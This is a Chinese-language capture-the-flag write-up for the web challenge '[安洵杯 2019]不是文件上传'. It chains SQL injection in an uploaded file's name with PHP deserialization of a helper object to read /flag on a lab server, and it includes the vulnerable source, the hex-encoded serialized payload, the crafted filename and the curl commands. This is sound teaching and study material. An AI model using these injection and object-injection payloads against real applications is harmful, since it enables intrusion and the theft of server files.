[安洵杯 2019]不是文件上传
题目信息
- 类型:Web
- 题目状态:已解出
- 目标:http://node4.anna.nssctf.cn:29621/
- 核心漏洞:文件名可控导致 SQL 注入,配合
show.php中的反序列化触发helper::__destruct()读取/flag
入口与现象
首页只有一个上传入口和一个查看入口,表面上像普通文件上传题,但页面注释里给了一个很关键的提示:
<!--
Hello, my colleague.
Some of the features on our website have not been completed. I have uploaded the source code to github. When you have time, remember to continue.
-->
进入 upload.php 后可以上传图片,进入 show.php 后只能看到自己上传记录里的 filename 和 path。这里已经说明“看图功能还没做完,目前只会保存图片名内容”,说明数据库里存的并不只是图片文件本身。
分析过程
结合公开源码可以还原出两处关键逻辑。
第一处在上传逻辑。程序会从用户上传的原始文件名里取扩展名和标题,然后把这些值直接拼到 SQL 语句里:
$ext = substr(strrchr($filename, "."),1);
$img_ext = array('jpg','png','gif','jpeg');
if (in_array($ext, $img_ext)) {
$renamed = bin2hex(random_bytes(8)).".".$ext;
$t = new Task($this->filename,$renamed);
if($t->upload()) {
$title = str_replace(".".$ext, "", $filename);
$image->insert_to_db($title,$t->get_new_name(),$ext,$t->get_file_path(),$t->image_size());
}
}
数据库写入函数同样是直接字符串拼接:
$sql = "insert into images (`".implode("`,`", array_keys($data))."`) values ('".implode("','", array_values($data))."')";
这意味着上传时传入的原始文件名会进入 title 字段,而这里没有任何转义,所以文件名本身就是注入点。
第二处在 show.php。页面在遍历数据库记录时,会把 attr 字段做一次替换后直接 unserialize():
$row["attr"] = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($row["attr"]);
而 helper.php 中存在一个可利用的析构:
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
public function view_files($path) {
if ($this->ifview) {
return file_get_contents($path);
}
}
public function __destruct() {
if ($this->ifview) {
echo $this->view_files($this->config);
}
}
}
所以利用链就明确了:
- 通过上传文件名打 SQL 注入。
- 往
images.attr里插入一个恶意序列化helper对象。 - 访问
show.php,程序unserialize()后在脚本结束时触发__destruct()。 - 把
ifview设为true,把config设为/flag,即可直接读出 flag。
利用过程
先说明一个细节:curl -F 自定义上传文件名时,如果文件名里有双引号会很难处理,所以这里直接把恶意序列化对象转成十六进制,在 SQL 里用 0x... 插入。
目标对象的逻辑等价于:
$obj = new helper();
$obj->ifview = true;
$obj->config = "/flag";
对应的序列化数据写成数据库可接受的十六进制后为:
4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
然后利用文件名完成二次插入。最终上传的文件名为:
1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
这样原始 SQL 会从:
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values ('{title}','{filename}','{ext}','{path}','{attr}')
变成:
insert into images (`title`,`filename`,`ext`,`path`,`attr`) values
('1','1','1','1',0x...),
('1','随机文件名.jpg','jpg','pic/随机文件名.jpg','正常图片属性')
第一条记录就是恶意记录,第二条记录只是系统正常插入的上传记录。
关键 payload / 命令
$hex='4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d'
$payload="1','1','1','1',0x$hex),('1.jpg"
curl.exe --noproxy * -F "file=@e:/项目/CTF/tmp/1x1.png;filename=`"$payload`";type=image/png" http://node4.anna.nssctf.cn:29621/upload.php
curl.exe --noproxy * http://node4.anna.nssctf.cn:29621/show.php
访问 show.php 后,页面会出现一条异常记录:
id=3 filename=1 path=1
紧接着输出 flag。
Flag
D0g3{Sq1_Is_N0t_Fun_333_F14g}
总结
这题的关键不是上传绕过,而是“上传文件名参与数据库写入”这一点。首页注释把注意力引到源码后,可以很快发现上传点的 SQL 注入;再结合 show.php 对 attr 的反序列化和 helper 类析构里的文件读取,最终拼出一条很短的利用链:文件名 SQL 注入写入恶意对象,访问展示页触发反序列化,析构读 /flag。